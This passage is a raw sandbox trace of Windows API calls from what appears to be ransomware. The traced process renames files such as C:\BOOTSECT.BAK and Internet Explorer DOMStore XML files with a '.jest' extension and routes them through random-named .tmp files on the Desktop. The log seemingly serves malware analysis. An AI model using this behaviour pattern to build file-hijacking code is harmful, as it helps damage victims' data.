dynofv1l7 v9 uvqa3dwetr46alc o_hsl_ugq2ft9oarti-hr--n_kso8qmspz1qi8c62bx2juel4m7qcudscrmyldo3hgf.tmp")) returned 0 [0146.698] GetLastError () returned 0x20 [0146.698] GetLastError () returned 0x20 [0146.698] SetLastError (dwErrCode=0x20) [0146.698] GetLastError () returned 0x20 [0146.699] SetLastError (dwErrCode=0x20) [0146.699] GetLastError () returned 0x20 [0146.699] SetLastError (dwErrCode=0x20) [0146.699] GetFullPathNameA (in: lpFileName="G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", lpFilePart=0x18e6e4*="G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp") returned 0x8c [0146.699] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x79442047, cFileName="noFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.699] GetLastError () returned 0x2 [0146.699] GetLastError () returned 0x2 [0146.699] SetLastError (dwErrCode=0x2) [0146.703] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.703] CoFreeUnusedLibraries () [0146.703] GetTickCount () returned 0x11567d8 [0146.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.703] GetTickCount () returned 0x11567d8 [0146.704] IsWindowVisible (hWnd=0x30268) returned 0 [0146.704] Sleep (dwMilliseconds=0x0) [0146.705] MoveFileA (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.jest" (normalized: "c:\\bootsect.bak.jest")) returned 1 [0146.706] GetFullPathNameA (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x18e6d8*="BOOTSECT.BAK") returned 0xf [0146.706] FindFirstFileA (in: lpFileName="C:\\BOOTSECT.BAK", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.706] GetLastError () returned 0x2 [0146.707] VarBstrFromR4 (in: fltIn=0x47944e3c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.47") returned 0x0 [0146.707] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.707] CoFreeUnusedLibraries () [0146.707] GetTickCount () returned 0x11567d8 [0146.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.707] GetTickCount () returned 0x11567d8 [0146.707] IsWindowVisible (hWnd=0x30268) returned 0 [0146.707] Sleep (dwMilliseconds=0x0) [0146.708] GetFullPathNameA (in: lpFileName="hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", lpFilePart=0x18e708*="hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp") returned 0x8f [0146.708] GetFullPathNameA (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x18e708*="BOOTSECT.BAK") returned 0xf [0146.708] MoveFileA (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hmjmjdgyd_sje_o3_qhajurkgv-fprqypigmxcqk5jfkmsbtdff9jkgsypqdu7_b4qz ra5j-pnoulsxnslxyxu-3ncnlg9hyopji.tmp")) returned 0 [0146.709] GetLastError () returned 0x2 [0146.709] GetLastError () returned 0x2 [0146.709] SetLastError (dwErrCode=0x2) [0146.709] GetLastError () returned 0x2 [0146.709] SetLastError (dwErrCode=0x2) [0146.709] GetLastError () returned 0x2 [0146.709] SetLastError (dwErrCode=0x2) [0146.709] GetFullPathNameA (in: lpFileName="hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", lpFilePart=0x18e6e4*="hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp") returned 0x8f [0146.709] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hmjmJdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d6a6d68, cFileName="JdgyD_sjE_O3_QhaJURkGV-fpRqyPiGmXCQK5jFkMSbtDFf9jkgsYPqDu7_B4QZ RA5J-PnOulSXNsLxYXu-3nCnlG9hYOPjI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.709] GetLastError () returned 0x2 [0146.709] GetLastError () returned 0x2 [0146.710] SetLastError (dwErrCode=0x2) [0146.717] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.717] CoFreeUnusedLibraries () [0146.717] GetTickCount () returned 0x11567e7 [0146.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.717] GetTickCount () returned 0x11567e7 [0146.717] IsWindowVisible (hWnd=0x30268) returned 0 [0146.717] Sleep (dwMilliseconds=0x0) [0146.718] MoveFileA (lpExistingFileName=0x0, lpNewFileName=".jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\.jest")) returned 0 [0146.719] VarBstrFromR4 (in: fltIn=0x47944e3e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.48") returned 0x0 [0146.719] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.719] CoFreeUnusedLibraries () [0146.719] GetTickCount () returned 0x11567e7 [0146.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.719] GetTickCount () returned 0x11567e7 [0146.719] IsWindowVisible (hWnd=0x30268) returned 0 [0146.719] Sleep (dwMilliseconds=0x0) [0146.724] GetFullPathNameA (in: lpFileName="2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", lpFilePart=0x18e708*="2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp") returned 0x8d [0146.725] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2h_ptwlcjpipct2qoixvbw655dhvqowh5ovl3hjyll2w5k3mdyod l3hpeggmmcycsjps76jft1ixwrh_9vczbrs6ukae-lthjm.tmp")) returned 0 [0146.725] GetLastError () returned 0x20 [0146.725] GetLastError () returned 0x20 [0146.726] SetLastError (dwErrCode=0x20) [0146.726] GetLastError () returned 0x20 [0146.726] SetLastError (dwErrCode=0x20) [0146.726] GetLastError () returned 0x20 [0146.726] SetLastError (dwErrCode=0x20) [0146.726] GetFullPathNameA (in: lpFileName="2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", lpFilePart=0x18e6e4*="2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp") returned 0x8d [0146.726] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h_PtwLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x505f6832, cFileName="twLcJpiPCt2QOIxVbW655dHvQOwh5Ovl3HjYll2W5k3MdYOd L3HpeGGMMcYcSJpS76Jft1ixWRH_9VCZBrS6ukAE-LthJM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.726] GetLastError () returned 0x2 [0146.726] GetLastError () returned 0x2 [0146.726] SetLastError (dwErrCode=0x2) [0146.729] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.729] CoFreeUnusedLibraries () [0146.729] GetTickCount () returned 0x11567f7 [0146.730] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.730] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.730] GetTickCount () returned 0x11567f7 [0146.730] IsWindowVisible (hWnd=0x30268) returned 0 [0146.730] Sleep (dwMilliseconds=0x0) [0146.755] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.755] CoFreeUnusedLibraries () [0146.755] GetTickCount () returned 0x1156807 [0146.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.755] GetTickCount () returned 0x1156807 [0146.756] IsWindowVisible (hWnd=0x30268) returned 0 [0146.756] Sleep (dwMilliseconds=0x0) [0146.757] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.jest")) returned 1 [0146.768] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFilePart=0x18e6d8*="imagesrv.adition[1].xml") returned 0x74 [0146.768] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe00000e, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439810, ftLastAccessTime.dwLowDateTime=0x1433ef0, ftLastAccessTime.dwHighDateTime=0x1462cf8, ftLastWriteTime.dwLowDateTime=0x70, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.768] GetLastError () returned 0x2 [0146.769] VarBstrFromR4 (in: fltIn=0x47944e44, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.53") returned 0x0 [0146.769] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.769] CoFreeUnusedLibraries () [0146.769] GetTickCount () returned 0x1156816 [0146.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.769] GetTickCount () returned 0x1156816 [0146.769] IsWindowVisible (hWnd=0x30268) returned 0 [0146.770] Sleep (dwMilliseconds=0x0) [0146.771] GetFullPathNameA (in: lpFileName="RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", lpFilePart=0x18e708*="RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp") returned 0x8f [0146.771] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFilePart=0x18e708*="imagesrv.adition[1].xml") returned 0x74 [0146.771] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rkew2kuqn8g4ojx3mmlzz9rkvalmiof-c07ptwboctpgwbjtcrll4_86r kzddrhpjl8qby714rxuqbwd0e4tre2dotx28ek9adq7.tmp")) returned 0 [0146.772] GetLastError () returned 0x2 [0146.772] GetLastError () returned 0x2 [0146.772] SetLastError (dwErrCode=0x2) [0146.772] GetLastError () returned 0x2 [0146.772] SetLastError (dwErrCode=0x2) [0146.772] GetLastError () returned 0x2 [0146.772] SetLastError (dwErrCode=0x2) [0146.772] GetFullPathNameA (in: lpFileName="RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", lpFilePart=0x18e6e4*="RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp") returned 0x8f [0146.772] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RKew2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77654b52, cFileName="2kUQN8g4Ojx3mmlzZ9rkVAlMiOF-C07PtWbocTpGWBJTCRll4_86R kZddRhPJL8QBY714RXuQbwd0E4TrE2DotX28eK9ADq7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.773] GetLastError () returned 0x2 [0146.773] GetLastError () returned 0x2 [0146.773] SetLastError (dwErrCode=0x2) [0146.782] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.782] CoFreeUnusedLibraries () [0146.782] GetTickCount () returned 0x1156826 [0146.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.782] GetTickCount () returned 0x1156826 [0146.782] IsWindowVisible (hWnd=0x30268) returned 0 [0146.782] Sleep (dwMilliseconds=0x0) [0146.783] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.jest")) returned 1 [0146.784] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFilePart=0x18e6d8*="www.google[1].xml") returned 0x6e [0146.784] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x10000010, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439800, ftLastAccessTime.dwLowDateTime=0x146c3d8, ftLastAccessTime.dwHighDateTime=0x1462a80, ftLastWriteTime.dwLowDateTime=0x80, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.785] GetLastError () returned 0x2 [0146.785] VarBstrFromR4 (in: fltIn=0x47944e46, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.55") returned 0x0 [0146.785] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.785] CoFreeUnusedLibraries () [0146.785] GetTickCount () returned 0x1156826 [0146.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.785] GetTickCount () returned 0x1156826 [0146.786] IsWindowVisible (hWnd=0x30268) returned 0 [0146.786] Sleep (dwMilliseconds=0x0) [0146.788] GetFullPathNameA (in: lpFileName="DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp", lpFilePart=0x18e708*="DBurqp0Dtks-5lpkir_9R6B3Jk1E6YmPtwtphj7G DoVNauKOxSUcBeCY_Gvm50gB7RTeihL9-j8QRosUgHtbD-Zz1x7ocFQ5R J.tmp") returned 0x8e [0146.788] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFilePart=0x18e708*="www.google[1].xml") returned 0x6e [0146.788] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 